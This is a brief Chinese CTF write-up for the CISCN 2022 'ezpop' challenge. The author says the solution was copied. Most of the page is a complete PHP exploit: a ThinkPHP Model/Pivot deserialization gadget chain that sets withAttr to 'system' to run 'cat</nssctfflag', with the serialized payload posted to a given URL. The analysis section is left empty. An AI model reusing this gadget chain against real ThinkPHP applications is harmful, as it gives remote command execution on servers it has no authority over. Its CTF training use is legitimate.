Problem: [CISCN 2022 初赛]ezpop
[[toc]]
思路
找不到路由
不会审计代码找路由
也看不懂wp的漏洞复现过程
都是抄的
http://node4.anna.nssctf.cn:28444/index/test
post a=payload
EXP
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat</nssctfflag']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
总结
- 对该题的考点总结

加载中...